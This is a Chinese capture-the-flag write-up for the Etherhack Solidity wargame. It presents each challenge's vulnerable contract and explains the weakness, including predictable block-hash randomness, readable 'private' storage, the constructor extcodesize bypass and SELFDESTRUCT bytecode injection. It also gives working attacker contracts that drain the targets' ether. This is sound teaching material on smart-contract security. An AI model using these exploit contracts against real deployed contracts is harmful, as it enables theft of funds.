Etherhack wp

简介

写一下这个靶场的wp—Etherhack

Azino 777

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.4.16;

contract Azino777 {

function spin(uint256 bet) public payable {
require(msg.value >= 0.01 ether);
uint256 num = rand(100);
if(num == bet) {
msg.sender.transfer(this.balance);
}
}

//Generate random number between 0 & max
uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
function rand(uint max) constant private returns (uint256 result){
uint256 factor = FACTOR * 100 / max;
uint256 lastBlockNumber = block.number - 1;
uint256 hashVal = uint256(block.blockhash(lastBlockNumber));

return uint256((uint256(hashVal) / factor)) % max;
}

function() public payable {}
}

随机数问题,如果我们能得知rand(100) 的结果,也就能绕过num == bet的限制,让受害合约给我们转账。而rand(100) 的结果主要取决于block.number,而在一个区块内block.number是确定的,也就是我们在一个攻击合约的函数内同时调用rand函数和 spin函数,就能绕过随机数限制。

1
2
3
4
5
6
7
function WeakRandomAttack(address _target) public payable {
target = Azino777(_target);
}
function attack() public {
uint256 num = rand(100);
target.spin.value(0.01 ether)(num);
}

Private Ryan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.4.16;

contract PrivateRyan {
uint private seed = 1;

function PrivateRyan() {
seed = rand(256);
}

function spin(uint256 bet) public payable {
require(msg.value >= 0.01 ether);
uint256 num = rand(100);
seed = rand(256);
if(num == bet) {
msg.sender.transfer(this.balance);
}
}

//Generate random number between 0 & max
uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
function rand(uint max) constant private returns (uint256 result){
uint256 factor = FACTOR * 100 / max;
uint256 blockNumber = block.number - seed;
uint256 hashVal = uint256(block.blockhash(blockNumber));

return uint256((uint256(hashVal) / factor)) % max;
}

function() public payable {}
}

这道题也是随机数问题,合约部署时会仅调用一次PrivateRyan() 函数,将seed的值改变,此时我们可以使用区块链浏览器读取合约上的状态值,也可以使用 web3.eth.getStorageAt() 函数来读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract Attack {
PrivateRyan target;
uint private seed;
function Attack (address _target, uint _seed) public payable {
target = PrivateRyan(_target);
seed = _seed;
}
function attack() public {
uint256 num = seed;
target.spin.value(0.01 ether)(seed);
}

}

Wheel of Fortune

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.16;

contract WheelOfFortune {
Game[] public games;

struct Game {
address player;
uint id;
uint bet;
uint blockNumber;
}

function spin(uint256 _bet) public payable {
require(msg.value >= 0.01 ether);
uint gameId = games.length;
games.length++;
games[gameId].id = gameId;
games[gameId].player = msg.sender;
games[gameId].bet = _bet;
games[gameId].blockNumber = block.number;
if (gameId > 0) {
uint lastGameId = gameId - 1;
uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100);
if(num == games[lastGameId].bet) {
games[lastGameId].player.transfer(this.balance);
}
}
}

function rand(bytes32 hash, uint max) pure private returns (uint256 result){
return uint256(keccak256(hash)) % max;
}

function() public payable {}
}

依旧是随机数问题,要求满足_bet == num,_bet 是传入的参数,sum 是上一个games用户注册时的block.number进行一些运算得到的。也就是说如果我们提前知道上一个用户注册时的block.number,就能推算出num。显然我们在同一区块进行两次注册,就能在第二次的使用block.number得到上一个用户的blockNumber。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract attack{
uint num;
WheelOfFortune a = WheelOfFortune(claim contract address);
function rand(bytes32 hash, uint max) pure private returns (uint256 result){
return uint256(keccak256(hash)) % max;
}
function attacke() payable public{


num = rand(block.blockhash(block.number), 100);
a.spin.value(0.01 ether)(num);
a.spin.value(0.01 ether)(num);
}
function balance() public view returns (uint) {//检测余额变化,用于验证是否攻击成功
return address(this).balance;
}
function() payable public{}
function attack() payable public{}
}

Call Me Maybe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
contract CallMeMaybe {
modifier CallMeMaybe() {
uint32 size;
address _addr = msg.sender;
assembly {
size := extcodesize(_addr)
}
if (size > 0) {
revert();
}
_;
}

function HereIsMyNumber() CallMeMaybe {
if(tx.origin == msg.sender) {
revert();
} else {
msg.sender.transfer(this.balance);
}
}

function() payable {}
}

通过分析CallMeMaybe关键词,发现只能是要求调用地址的代码等于0。在分析HereIsMyNumber()函数,又要求tx.origin == msg.sender,这需要我们通过部署合约调用解决,但是extcodesize(_addr)=0又怎么解决呢。其实在合约创建初期的时候合约的extcodesize是等于零的。所以我可以可以写出下面的合约攻击

1
2
3
4
5
6
7
contract attack{

constructor(CallMeMaybe _target) public {
_target.HereIsMyNumber();
}
function() payable {}
}

The Lock

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.18;

contract TheLock {
bool public unlocked;

function TheLock() public {
unlocked = false;
}

function unlock(bytes4 pin) public payable returns(bool) {
require(msg.value >= 0.5 ether);
uint result;
uint sum;
for (uint8 i = 0; i < 4; i++) {
uint c = uint(pin[i]);
if (c >= 48 && c <= 57) {
uint digit = c - 48;
sum += digit ** 4;
result = result * 10 + digit;
}
}
if(sum == result) {
unlocked = true;
return true;
}
return false;
}
}

题目环境不太行,就在github上面找到源码

可以看到我们需要调用unlock函数置unlocked = true。

我们可以将pin分为四部分

1
(pin[0]-48) ^ 4 + (pin[1]-48) ^ 4 + (pin[2]-48) ^ 4 + (pin[3]-48) ^ 4 == (pin[0]-48) *1000 + (pin[1]-48) *100 + (pin[2]-48) *10 + (pin[3]-48) 

很明显如果pin[]-48等于零自然就成立,也就是0x30303030

还有一种result与sum变量声明之后,如果不进行运算也是可以相等的,0x00000000等等

Pirate Ship

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
pragma solidity ^0.4.19;

contract PirateShip {
address public anchor = 0x0;
bool public blackJackIsHauled = false;

function sailAway() public {
require(anchor != 0x0);

address a = anchor;
uint size = 0;
assembly {
size := extcodesize(a)
}
if(size > 0) {
revert(); // it is too early to sail away
}

blackJackIsHauled = true; // Yo Ho Ho!
}

function pullAnchor() public {
require(anchor != 0x0);
require(anchor.call()); // raise the anchor if the ship is ready to sail away
}

function dropAnchor(uint blockNumber) public returns(address addr) {
// the ship will be able to sail away in 100k blocks time
require(blockNumber > block.number + 100000);

// if(block.number < blockNumber) { throw; }
// suicide(msg.sender);

uint[8] memory a;
a[0] = 0x6300; // PUSH4 0x00...
a[1] = blockNumber; // ...block number (3 bytes)
a[2] = 0x43; // NUMBER
a[3] = 0x10; // LT
a[4] = 0x58; // PC
a[5] = 0x57; // JUMPI
a[6] = 0x33; // CALLER
a[7] = 0xff; // SELFDESTRUCT

uint code = assemble(a);

// init code to deploy contract: stores it in memory and returns appropriate offsets
uint[8] memory b;
b[0] = 0; // allign
b[1] = 0x6a; // PUSH11
b[2] = code; // contract
b[3] = 0x6000; // PUSH1 0
b[4] = 0x52; // MSTORE
b[5] = 0x600b; // PUSH1 11 ;; length
b[6] = 0x6015; // PUSH1 21 ;; offset
b[7] = 0xf3; // RETURN

uint initcode = assemble(b);
uint sz = getSize(initcode);
uint offset = 32 - sz;

assembly {
let solidity_free_mem_ptr := mload(0x40)
mstore(solidity_free_mem_ptr, initcode)
addr := create(0, add(solidity_free_mem_ptr, offset), sz)
}

require(addr != 0x0);
anchor = addr;
}

///////////////// HELPERS /////////////////

function assemble(uint[8] chunks) internal pure returns(uint code) {
for(uint i=chunks.length; i>0; i--) {
code ^= chunks[i-1] << 8 * getSize(code);
}
}

function getSize(uint256 chunk) internal pure returns(uint) {
bytes memory b = new bytes(32);
assembly { mstore(add(b, 32), chunk) }
for(uint32 i = 0; i< b.length; i++) {
if(b[i] != 0) {
return 32 - i;
}
}
return 0;
}
}

要求我们 blackJackIsHauled = true 这就要求在

1
assembly { size := extcodesize(a)  }

时,返回结果不为零,此时的a对应的就是anchor地址,而anchor地址由dropAnchor函数负责修改

此时会使用字节码部署一个合约,0x6300____4310585733ff600052600b6015f3

其中__处的字节码是我们可以控制的,注意到其中有一个指令是0xff,也就是SELFDESTRUCT,会执行自毁操作,我们验证一下会不会导致size为零

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract Contract {
function main() {

selfdestruct(address(0x0));
}
}


contract ttt{
bool public blackJackIsHauled = false;
function sailAway(address anchor) public {
require(anchor != 0x0);

address a = anchor;
uint size = 0;
assembly {
size := extcodesize(a)
}
if(size > 0) {
revert(); // it is too early to sail away
}

blackJackIsHauled = true; // Yo Ho Ho!
}
}

image-20210926180727962

那也就是说我们要执行ff,也就是说我们需要在栈顶存入一个地址,由EVM opcode可以知道以下指令满足

30 31 33 41

同时实验各自与ff组合,比如33ff,反编译出来

image-20220310223837749

而63指令是PUSH4 也就是说我们需要填充三个字节的指令,而后接上33ff,总字节码就是

0x630000000033ff4310585733ff600052600b6015f3

image-20220310224057554

实现自毁,同时前面有一个限制 require(blockNumber > block.number + 100000);所以我们不能填充00,随便选一个其他的都可以。